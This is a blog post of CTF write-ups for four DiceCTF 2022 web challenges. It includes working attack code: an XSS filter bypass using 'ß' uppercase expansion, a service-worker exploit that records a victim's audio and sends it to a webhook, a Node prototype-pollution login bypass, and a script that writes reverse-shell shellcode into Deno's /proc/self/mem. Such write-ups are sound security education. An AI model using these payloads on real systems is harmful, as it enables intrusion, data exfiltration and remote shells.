DiceCTF 2022 Writeups

Sun Feb 06 2022

DiceCTF 2022

Hello everyone! It's been a while since I last wrote something for my blog, but I'm still here... :)

It's the new year now, and my team DiceGang hosted DiceCTF 2022. I created the web challenges noteKeeper, vm-calc, and denoblog, but I'll also be giving a writeup for Larry's challenge blazingfast on his request.

Also, follow me on Twitter here :^)



As I said before, I didn't write blazingfast, my friend Larry did, but here's my writeup for the challenge anyway.

blazingfast is a blazing fast MoCkInG CaSe converter written in WASM!

Checking the source code, we see that it runs our input text through a WASM function mock converting it to "MoCkInG CaSe", then sets it to the innerHTML of the result element.

document.getElementById('result').innerHTML = mock(str);

You might try initially to input some XSS payload like <img src=x onerror=alert(1) /> into the site as a test, but the site fails, telling you "No XSS for you!". Hm, so the site has some sort of XSS filter. I don't see it in the HTML source code, so it's time to dive into blazingfast.c.

We can see that the mock() function converts the input buffer into mocking case, but will also return 1 signifying an error if it finds any XSS payload. So the goal obviously is to bypass this filter so we can inject HTML onto the page.

As we can see that no null-byte is ever written to the end of our buffer, and the JS only stops reading when it hits a null-byte, you can smuggle in HTML by submitting a payload twice. First, you submit your payload with some padding then your XSS, which saves it to the buffer but errors out when it finds the XSS payload. Then, if you send a smaller payload, it will overwrite the first padding but not your XSS, and then it will stop early since the length is smaller, not converting your XSS!

So, the mock() function will never reach your XSS, and it will not return 1, triggering the fail condition! Challenge solved! However...

This requires you to submit two different payloads to the site, which unfortunately doesn't work for the admin bot. You can only send the admin one link which means only one run of the mock() function. Many players opened tickets and got stuck at this section, but this was not the intended solution.

However, this length confusion is not far off from the solution - if we can make the challenge confused about how long the length is and make it think it is shorter than it actually is, it will miss our XSS payload if we place it in at the end. This needs to all happen in one run of mock() however.

Checking out how the mock() function works in JS, we see:

function mock(str) { blazingfast.init(str.length); if (str.length >= 1000) return 'Too long!'; for (let c of str.toUpperCase()) { if (c.charCodeAt(0) > 128) return 'Nice try.'; blazingfast.write(c.charCodeAt(0)); } if (blazingfast.mock() == 1) { return 'No XSS for you!'; } else { let mocking = '', buf = blazingfast.read(); while(buf != 0) { mocking += String.fromCharCode(buf); buf = blazingfast.read(); } return mocking; } }

So, it first inits with the length of our input, then loops through all of the upper-case characters in our string, then writes each uppercase character to the buffer. Hm...

If we can somehow change the length of the message between the initialization of the length and the writing to the buffer, we could solve this challenge. But is this possible? Well...

Thanks, Unicode!

So, if we input a message that begins with many "ß" characters, when the string is uppercased and looped over, the length of the whole string almost doubles. It will then run the WASM function mock, only mock-casing the first half of our input, missing our XSS payload and not triggering the XSS filter. Perfect!

Now, we just need to write an XSS payload that survives being all uppercase. But this can be easily achieved through escaping. So here's our final payload:

ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)" />

This payload runs alert(1), but you can write your own payload to send the flag off to your webhook or whatever.



noteKeeper was a fun XSS challenge I wrote where the goal was to steal the admin's voice memo.

You can create notes and upload audio files, and you had to somehow steal the admin's voice memo when you could send them any arbitrary URL. A classic XSS challenge!

As usual with my XSS / XS-Leaks challenges, there was a strict CSP:

script-src 'self'; object-src 'none'; frame-src 'none'; frame-ancestors 'none';

So getting JS execution on the page would be difficult. Taking a look at the source code, here's the snippet that applies the CSP:

app.use("/api", require("./routes/api.js")); app.use((req, res, next) => { res.setHeader("Content-Security-Policy", ` script-src 'self'; object-src 'none'; frame-src 'none'; frame-ancestors 'none'; `.trim().replace(/\s+/g, " ")); console.log(req.user, req.originalUrl); next(); }) app.get("/", (req, res) => { res.sendFile("login.html", { root: "pages" }); }); app.get("/home", (req, res) => { if(!req.user || !db.hasUser(req.user.username)) return res.redirect("/"); res.sendFile("home.html", { root: "pages" }); });

Something weird is that the CSP middleware is applied after the /api route, so none of the API routes have a CSP...

Checking the ./routes/api.js file we find handlers for all of the API routes needed for the site to function. The site works through JSONP, providing a couple of JSONP endpoints where you can set custom callbacks and run them. So those will probably be helpful.

But, we first need an entrypoint onto the page. Checking the client-side JS file script.js, we see this section:

const load_user = (user) => { // check for audio once only if(!$("#username").innerHTML) { $("#username").innerHTML = user; loadAudio(); } };

So, the function load_user sets the innerHTML of the #username element to our username, and this is called from the JSONP endpoint. So, if we have some HTML tags in our username, they will get rendered onto the page! The only problem is...

router.post("/register", async (req, res) => { let { username, password } = req.body; if(db.hasUser(username)) { utils.alert(req, res, "danger", `A user already exists with username ${username}`); return res.redirect("/"); } if(username.length > 16) { utils.alert(req, res, "danger", "Invalid username"); return res.redirect("/"); } if(password.length < 5) { utils.alert(req, res, "danger", "Please choose a longer password"); return res.redirect("/"); } await db.addUser(username, password); jwt.signData(res, username, { msg: "Registered successfully", type: "primary" }); res.redirect("/home"); });

It checks whether username.length > 16, and if so, doesn't allow you to register. 16 characters isn't enough for an XSS payload, so what can we do? Well, this segment of code doesn't check whether username is actually a string, so we can make username an array! Since our username is stringified when stored in the DB, this works to bypass the filter!

Sending a register request with a body like:

username=<xss payload>&username=b&password=password

works to bypass the filter! So, now we have arbitrary markup injection on the page.

We obviously need to run JSONP in a script tag, but innerHTML doesn't allow script tags to run. But an easy fix is just to use iframe srcdoc, and use window.parent as a reference to the parent window.

How can we steal the voice memo? Well, it's obvious we need JS execution of some sort to steal the flag audio - there's no way we could possibly leak that through some sort of side-channel. So we need to get JS to execute. There were multiple ways to do this, and both of the solutions teams used were unintended, but I'll just go over mine.

We have JSONP which allows us to call small snippets of JS. Checking utils.js, we see:

const jsonp = (req, res, type, data) => { if(req.query.callback && (typeof req.query.callback !== "string" || req.query.callback.includes('eval'))) { return res.status(400).send('no'); } req.query.callback = req.query.callback || "load_" + type; res.jsonp(data); };

So, our JSONP callback cannot have 'eval' in it, and then it is also subject to Express's JSONP filtering, which removes anything that is not alphanumeric, dots, or brackets. This makes it kind of hard to get full JS execution on the page...

But, what if we could get the page to load a script not on the page? This is impossible since there's a strict CSP, but remember how the CSP isn't located on the /api routes?

Can we somehow get a script on one of these API routes? Yes, we can, thanks to the power of service workers! (note: apparently service workers are overrated, the other teams didn't solve using them 😢)

Service workers are cool since they take the CSP of the page their installation script is located. So, if we install a script using JSONP from some API endpoint, they won't have a CSP!

Using a JSONP endpoint, we can call window.parent.navigator.serviceWorker.register which will register a service worker from a page containing JS. We can make this target another JSONP endpoint, and then we can have a callback which runs code under the service worker scope. But what service worker code can we run?

We want full JS execution without being restricted by JSONP, so can we use import() to import JS and run it from a file? Well, no, since import() doesn' t work in service workers. But importScripts() does!

So, to get full JS execution using service workers, we need to control two JSONP endpoints, one which registers the service worker and points the script URL to another JSONP endpoint, and that second JSONP endpoint needs to run importScripts() and point to a URL which has JS we control.

Here's an example of what I'm talking about:

So, doing this allows us to import a service worker script from whatever page we want. From there, we can use a service worker event listener to proxy the fetch request to a page under its scope, serving up a custom HTML page with whatever script tag we want. Full JS execution on the page obtained!

Like I said before, the other teams didn't do this, instead using a reference to window.opener to run document.write or setTimeout... I forgot that you could do this just like in blogme... 😢

Well anyway, now you have full JS execution on the domain. How can we steal the audio flag? Here's the endpoint that serves the flag:

router.get("/audio/file", requiresLogin, async (req, res) => { if(!db.getMemo(req.user.username)) { return res.status(404).send('no'); } if(req.header('Sec-Fetch-Dest') !== "audio" || req.header('Sec-Fetch-Site') !== "same-origin") { return res.status(404).send('no'); } res.setHeader('content-type', 'audio/mpeg'); res.sendFile(db.getMemo(req.user.username), { root: "." }); });

These Sec-Fetch headers stop us from just fetching the audio - it needs to be placed in an audio tag. And we can't fetch it from the cache since there are Cache-Control headers. So what can we do?

The answer? JavaScript's Recording API :D

Using the MediaRecorder API, we can record the audio file as it plays, save it to a blob, and then convert it to base64 and send it off to our webhook.

The only problem is that this only works if the audio file is playing, which it never is... You might think that you could just get the audio file to play via autoplay or audio.play() but the browser blocks this, since no tab is allowed to autoplay anything without a user interaction. Is there a way we can get a user interaction to play the audio?

Well, yes! Checking hint.js, we see this:

let page = await browser.newPage(); await page.goto(url); await page.waitForTimeout(4000); // nice page... oh man i should check my notes!!! await page.setCookie({ name: 'session', value: JWT, domain: new URL(SITE).host, httpOnly: true }); await page.goto(SITE + "/home"); await page.waitForTimeout(4000); // looks good to me!! await page.evaluate(() => { document.querySelector("#logout") && document.querySelector("#logout").click(); }); await page.waitForNavigation(); await browser.close();

After the admin logs in and checks their notes, it clicks the #logout button! If we can stop the #logout button from doing anything, and instead make it play our audio file, we can redirect the admin's user interaction into playing our audio! The next line await page.waitForNavigation(); will then freeze forever, allowing us to record our audio!

There's now one final problem: how do we get a reference to the page with the audio? Well, since our admin-bot changes page after visiting our site, if we open our payload tab while they're on our site, window.opener should be a reference to the page with the audio!

Unfortunately however, for some reason while testing, window.opener would get removed by Puppeteer on a cross-origin navigation. I bypassed this by creating another user which opened my payload tab on notekeeper.mc.ax, then redirecting there after my service worker was installed so that the whole interaction would be same-origin.

With this, you can record the audio with the MediaRecorder API and get the flag!

Here's my solution:

You first register two users and then set the note on one of them, then send the admin to this page:

<!-- window opener: username: fetch("/api/register", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "&username=" + encodeURIComponent(`/api/user/strellpwn?#<iframe srcdoc="<script src='/api/user/info?callback=window.parent.open'></script>"></iframe>`) + "&username=b&password=12345" }); --> <!-- /api/notes/list?callback=navigator.serviceWorker.register -> note has to be a URL to same origin -> /api/user/info?callback=importScripts -> is the username -> imports the username (which should be a URL as a script) -> username also has to double as script tag inj entrypoint username: //brycec.me/notekeeper.js?#<script src='/api/notes/list?callback=navigator.serviceWorker.register'></script> fetch("/api/register", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "username=" + encodeURIComponent(`//brycec.me/notekeeper.js?#<iframe srcdoc="<script src='/api/notes/list?callback=window.parent.navigator.serviceWorker.register'></script>"></iframe>`) + "&username=b&password=12345" }); note: /api/user/info?callback=importScripts --> <!DOCTYPE html> <html> <body> <form method="POST" action="https://notekeeper.mc.ax/api/login" target="lmao"> <input name="username" /> <input name="username" value="b" /> <input name="password" /> </form> <script> const sleep = (ms) => new Promise(r => setTimeout(r, ms)); window.onload = async () => { let $ = document.querySelector.bind(document); navigator.sendBeacon("https://webhook.site/05a67019-6f02-44ee-b4da-05471857040f", "start"); $("input[name=username]").value = `//brycec.me/notekeeper.js?#<iframe srcdoc="<script src='/api/notes/list?callback=window.parent.navigator.serviceWorker.register'></sc` + `ript>"></iframe>`; $("input[name=password]").value = `12345`; $("form").submit(); await sleep(2500); $("input[name=username]").value = `/api/user/strellpwn?#<iframe srcdoc="<script src='/api/user/info?callback=window.parent.open'></sc` + `ript>"></iframe>`; $("input[name=password]").value = `12345`; $("form").submit(); window.name = "pwning"; navigator.sendBeacon("https://webhook.site/05a67019-6f02-44ee-b4da-05471857040f", "end"); location.href = "https://notekeeper.mc.ax/home?gogogo"; }; </script> </body> </html>

Then use this second JS script as the source of importScript to steal the audio file:

self.addEventListener('fetch', async (e) => { if(e.request.url.includes("/api/user/strellpwn")) { e.respondWith(new Response(new Blob([` <script> const webhook = "https://webhook.site/05a67019-6f02-44ee-b4da-05471857040f"; const log = (body) => { console.log(body); fetch(webhook, { method: "POST", body, mode: "no-cors" }); }; const blobToBase64 = (blob) => { return new Promise((resolve, _) => { const reader = new FileReader(); reader.onloadend = () => resolve(reader.result); reader.readAsDataURL(blob); }); } const pwn = () => { try { window.opener.origin; } catch(err) { console.log("still cross origin..."); setTimeout(pwn, 500); return; } try { window.opener.document.body.querySelector } catch(err) { console.log("page same-origin, but not loaded yet.."); setTimeout(pwn, 500); return; } let aud = window.opener.document.body.querySelector("audio"); if(!aud) { console.log("audio tag missing..."); setTimeout(pwn, 500); return; } let stream = aud.captureStream(); let rec = new MediaRecorder(stream); log("found_audio"); console.log(aud); let btn = window.opener.document.querySelector("form[action='/api/logout'] button"); if(!btn) { log("logout button missing!!!"); return; } btn.onclick = (e) => { e.preventDefault(); aud.play(); }; aud.onplay = () => { log("recording"); let chunks = []; rec.ondataavailable = e => chunks.push(e.data); rec.onstop = async e => { let final = new Blob(chunks, { type: 'audio/mpeg' }); let b64 = await blobToBase64(final); log(b64); console.log("done~"); }; rec.start(); }; log("ready..."); }; window.onload = () => { if(window.opener.name !== "pwning") return window.close(); setTimeout(() => window.open("", "lmao").close(), 3000); log("loaded"); console.log("loaded"); pwn(); }; </script> `], { type: 'text/html' }))); } return; });



I wrote this challenge three days before the CTF because I thought it was really funny.

vm-calc was a NodeJS / Express challenge that made a nice little website where you could evaluate arbitrary math expressions. Checking the source code, we see the snippet which evaluates our math:

const { NodeVM } = require('vm2'); const vm = new NodeVM({ eval: false, wasm: false, wrapper: 'none', strict: true }); app.post("/", (req, res) => { const { calc } = req.body; if(!calc) { return res.render("index"); } let result; try { result = vm.run(`return ${calc}`); } catch(err) { console.log(err); return res.render("index", { result: "There was an error running your calculation!"}); } if(typeof result !== "number") { return res.render("index", { result: "Nice try..."}); } res.render("index", { result }); });

So, it uses the NodeJS vm2 module to evaluate our expression and return the result. So this doesn't just evaluate math, it evaluates arbitrary JavaScript! However, we're stuck under the vm2 sandbox, unable to run any dangerous code.

To get the flag, we needed to login into the admin page:

const users = [ { user: "strellic", pass: "4136805643780af20755baddcc947d20f7e38e52f421c3c89a5a8b9d8a8d1da7" }, { user: "ginkoid", pass: "cdf72d24394745eab295c6e047ee41aaec62f56bd41e2cea4ef7d244d96b51dd" } ]; const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex'); app.post("/admin", async (req, res) => { let { user, pass } = req.body; if(!user || !pass || typeof user !== "string" || typeof pass !== "string") { return res.render("admin", { error: "Missing username or password!" }); } let hash = sha256(pass); if(users.filter(u => u.user === user && u.pass === hash)[0] !== undefined) { res.render("admin", { flag: await fsp.readFile("flag.txt") }); } else { res.render("admin", { error: "Incorrect username or password!" }); } });

So, it takes the sha256 hash of our password, then filters the user array and checks an entry exists. This is a little weird - why not just use Array.prototype.find to directly check for the existence of an element? But this might just be bad coding.

vm2 didn't have any public vulnerabilities to escape the sandbox, and it was updated to the latest version. Was this a a vm2 0-day?

I felt a little bad for this challenge. But no, it wasn't a vm2 0-day, it was a NodeJS 1-day.

Checking the Dockerfile, the first line might pop out:

FROM node:16.13.1-bullseye-slim

It might be a long shot, but what is the current version of NodeJS v16? At the time of the challenge, it was v16.13.2... was there any security updates in the newest patch?


Prototype pollution via console.table properties (Low)(CVE-2022-21824) Due to the formatting logic of the console.table() function it was not safe to allow user controlled input to be passed to the properties parameter while simultaneously passing a plain object with at least one property as the first parameter, which could be __proto__. The prototype pollution has very limited control, in that it only allows an empty string to be assigned numerical keys of the object prototype.

Versions of Node.js with the fix for this use a null protoype for the object these properties are being assigned to.

More details will be available at CVE-2022-21824 after publication.

Thanks to Patrik Oldsberg (rugvip) for reporting this vulnerability.


Sending the payload console.table([{x:1}], ["__proto__"]); would prototype pollute the 0 property with an empty string, which allowed you to bypass the login check. :)



I wrote this challenge two days before the CTF, but I actually really liked the challenge. The goal was to get RCE on a blog written with Deno, a more secure version of NodeJS, and run /readflag.

It was a simple site with nothing on it, but you could change the language for some reason. idk, I was running out of creativity and needed a vuln...

Checking the source code, we see:

const handler = async (req: Request): Promise<Response> => { let lang = cookie.getCookies(req.headers)["lang"] ?? "en"; let body = await dejs.renderFileToString("./views/index.ejs", { lang }); let headers = new Headers(); headers.set("content-type", "text/html"); return new Response(body, { headers, status: 200 }); };

So, it uses the lang cookie as an input to the ejs template index.ejs. Checking index.ejs, we see:

<% await include(`./langs/${lang}`); %> <!DOCTYPE html> <html> <head> <title>denoblog</title> <link rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.classless.min.css"> </head> <body> <main> <hgroup> <h1>denoblog</h1> <h2><%= i18n.HEADER %></h2> </hgroup> <nav> <ul> <li><%= i18n.SWITCH_LANG %></li> <li><a href="javascript:document.cookie = 'lang=en'; location.reload();">English</a></li> <li><a href="javascript:document.cookie = 'lang=es'; location.reload();">Español</a></li> </ul> </nav> <hr /> <%= i18n.COMING_SOON %> </main> </body> </html>

So, it includes an ejs template with our language input which is the source of the translated text! Obviously, if we can somehow get this include to target our own ejs template, we can get JS execution on the server!

Now, how can we get a file on the server with our template? Well, if you played hxp CTF 2021, you might have seen this post, detailing the end of PHP LFI challenges...

As a JS zoomer and someone who hates boomer PHP, I am very glad this era is over... but it comes with some neat tricks too :D

From the post, you can see that if we send large enough data, nginx will buffer it to a file, which we can target by hitting the file descriptor. Here was my script to load the file:

import requests HOST = "https://denoblog-26b8ed381fd6c5f9.mc.ax" while True: for num in range(8, 15): for num2 in range(9,13): print(f"attempting: ../../../../../../../../proc/{num}/fd/{num2}") try: r = requests.get(HOST, cookies={"lang": f"../../../../../../../../proc/{num}/fd/{num2}"}) except: pass

Just bruteforce the PID and FD...

Now, we can use this to load arbitrary ejs templates, which gives us arbitrary JS execution. How can we run /readflag?

One of Deno's security benefits is that you give it certain "permissions", and those restrict what Deno can execute. Checking the Dockerfile, we see:

RUN deno compile --allow-read --allow-write --allow-net app.ts

So, Deno can read, write, and have network access. It's missing the --allow-run permission, which means it can't run commands using Deno.run. So, how can we escape the Deno sandbox?

Well, why does it have the --allow-write permission? It doesn't do any writing...

This web challenge suddenly turns into a pwn challenge! If you can write into /proc/self/mem, you can overwrite some parts of memory with your own shellcode, which obviously won't be restricted by the Deno sandbox!

Now, where to write is the question. I ran deno with gdb, and printed the address of Builtins_JsonStringify. This address was at a constant offset each time, so I just clobbered this region in memory with my own shellcode, then ran JSON.stringify() to trigger my code.

(gdb) p Builtins_JsonStringify $4 = {<text variable, no debug info>} 0x281d340 <Builtins_JsonStringify>

So, I created my shellcode, and injected into the deno process at the right section, then ran JSON.stringify() all through an ejs template included with a file descriptor. Doing all of this gets you the flag!

Here's the second part of my solve script:

import requests import base64 HOST = "https://denoblog-26b8ed381fd6c5f9.mc.ax" IPADDR = "" PORT = 12345 addr_hex = bytes.fromhex(''.join([hex(int(n))[2:].zfill(2) for n in IPADDR.split(".")])) port_hex = bytes.fromhex(hex(PORT)[2:]) shellcode = \ b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" + \ b"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" + \ b"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" + \ b"\x02" + port_hex + b"\xc7\x44\x24\x04" + addr_hex + b"\x48\x89\xe6\x6a\x10" + \ b"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" + \ b"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" + \ b"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" + \ b"\x5f\x6a\x3b\x58\x0f\x05" payload = """ <% let maps = await Deno.readTextFile('/proc/self/maps'); let line = maps.split("\\n").find(l => l.includes("/app/app") && l.includes("r-x")); let base = parseInt(line.split(" ")[0].split("-")[0], 16); let mem = await Deno.open('/proc/self/mem', { write: true }); let offset = base + 0xd39340; console.log("[pwn] Builtins_JsonStringify @ 0x" + (offset).toString(16)); await Deno.seek(mem.rid, offset, Deno.SeekMode.Start); let shellcode = `""" + base64.b64encode(shellcode).decode() + """`; shellcode = atob(shellcode); shellcode = "\\x90".repeat(512) + shellcode; let shellcode_arr = new Uint8Array(shellcode.length); for(let i = 0; i < shellcode.length; i++) { shellcode_arr[i] = shellcode.charCodeAt(i); } console.log("[pwn] lets go~"); await Deno.write(mem.rid, shellcode_arr); JSON.stringify("wtmoo"); %> """ payload += "A"*1024*64 print(f"sending rev shell to {IPADDR}:{PORT}...") while True: r = requests.get(HOST, data=payload)


Thanks for reading, and I hope you learned something from either playing the CTF or reading my writeup! Follow me on Twitter here!

See you around~

~ Strellic / Bryce